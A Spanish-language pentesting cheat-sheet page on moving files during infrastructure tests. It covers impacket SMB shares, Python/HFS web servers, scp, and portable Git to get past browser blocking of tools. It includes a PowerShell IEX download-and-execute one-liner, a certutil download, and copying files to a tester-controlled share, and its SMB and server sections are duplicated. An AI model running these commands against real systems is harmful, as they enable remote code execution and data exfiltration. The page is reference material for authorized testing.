> For the complete documentation index, see [llms.txt](https://www.xtormin.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.xtormin.com/pentesting-en-infraestructuras/misc/transferencia-de-ficheros.md).

# Transferencia de ficheros

## Servidores temporales

### SMB

{% tabs %}
{% tab title="Servidor SMB en Kali" %}
Se busca el binario de impacket-smbserver:

```bash
> locate smbserver

/usr/bin/impacket-smbserver
/usr/lib/python3/dist-packages/impacket/smbserver.py
/usr/lib/python3/dist-packages/impacket/__pycache__/smbserver.cpython-310.pyc
/usr/share/doc/python3-impacket/examples/smbserver.py
```

Se ejecuta una carpeta compartida vía SMB:

```bash
sharedfolder=/tmp/tempserver
mkdir $sharedfolder
cd $sharedfolder
impacket-smbserver share . -smb2support -username xtormin -password xtormin
```

{% endtab %}

{% tab title="Acceso desde Windows" %}
Se monta la carpeta vía CMD/Powershell:

```powershell
net use z: \\192.168.1.100\share /user:xtormin xtormin
```

Se accede a la carpeta compartida y se descargan los ficheros que se quieran:

```powershell
net use \\<IP de Kali>\share /u:xtormin xtormin
copy file.zip \\<IP de Kali>\share\
del file.zip
net use /d \\<IP de Kali>\share
```

{% endtab %}
{% endtabs %}

### HTTP

#### HFS

<https://www.rejetto.com/hfs/>

Se ejecuta el binario *hfs.exe* descargado desde la interfaz gráfica y se añaden los ficheros que se deseen exponer en el servidor web.

#### Python

```bash
python3 -m http.server 8000
```

## Descarga de ficheros

## Servidores temporales

### SMB

{% tabs %}
{% tab title="Servidor SMB en Kali" %}
Se busca el binario de impacket-smbserver:

```
> locate smbserver

/usr/bin/impacket-smbserver
/usr/lib/python3/dist-packages/impacket/smbserver.py
/usr/lib/python3/dist-packages/impacket/__pycache__/smbserver.cpython-310.pyc
/usr/share/doc/python3-impacket/examples/smbserver.py
```

Se sirve una carpeta compartida vía SMB:

```bash
sharedfolder=/tmp/tempserver
mkdir $sharedfolder
cd $sharedfolder
impacket-smbserver share . -smb2support -username xtormin -password xtormin
```

{% endtab %}

{% tab title="Acceso desde Windows" %}
Se monta la carpeta vía CMD/Powershell:

```powershell
net use z: \\192.168.1.100\share /user:xtormin xtormin
```

Se accede a la carpeta compartida y se descargan los ficheros que se quieran:

```powershell
net use \\<IP de Kali>\share /u:xtormin xtormin
copy file.zip \\<IP de Kali>\share\
del file.zip
net use /d \\<IP de Kali>\share
```

{% endtab %}
{% endtabs %}

### HTTP

#### HFS

<https://www.rejetto.com/hfs/>

Se ejecuta el binario *hfs.exe* descargado desde la interfaz gráfica y se añaden los ficheros que se deseen exponer en el servidor web.

#### Python

```bash
python3 -m http.server 8000
```

## Descarga y subida de ficheros

### Linux

{% code overflow="wrap" %}

```bash
wget "https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Azure-ADConnect.ps1"
```

{% endcode %}

### Windows

{% code overflow="wrap" %}

```powershell
iwr https://192.168.1.110/winPEASx64.exe -outputfile winpeas64.exe

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.5:8000/Azure-ADConnect.ps1')

.\certutil.exe -urlcache -split -f "http://legacy.ps1"
```

{% endcode %}

#### **Consideraciones**

### SSH

Descarga desde servidor remoto a local:

{% code overflow="wrap" %}

```powershell
USER='xtormin'
IP='192.168.1.100'
RUTASRV='C:/Users/xtormin/Documents/<archivo_zip>.zip'
RUTALOCAL='.'
scp $USER@$IP:$RUTASRV $RUTALOCAL
```

{% endcode %}

Subida desde local a servidor remoto:

```powershell
USER='xtormin'
IP='192.168.1.100'
RUTASRV='C:/Users/xtormin/Documents/<archivo_zip>.zip'
RUTALOCAL='.'
scp $RUTALOCAL $USER@$IP:$RUTASRV
```

### Git - Descarga de repositorios

En ocasiones, el navegador puede bloquear la descarga de ficheros que identifica como maliciosos. Una forma de descargarlos cuando es usando Git con su versión portable cuando no se pueda instalar o no se cuente con permisos de administrador local.

#### Git

<https://git-scm.com/download/win/>

```bash
cd PortableGit-2.46.2-64-bit
.\git-bash.exe
```

Esto abrirá una consola desde la que se podrá clonar el repositorio:

```bash
cd c/Pentest/Tools
git clone https://github.com/PowerShellMafia/PowerSploit.git
```

## Referencias

* <https://medium.com/@PenTest_duck/almost-all-the-ways-to-file-transfer-1bd6bf710d65>
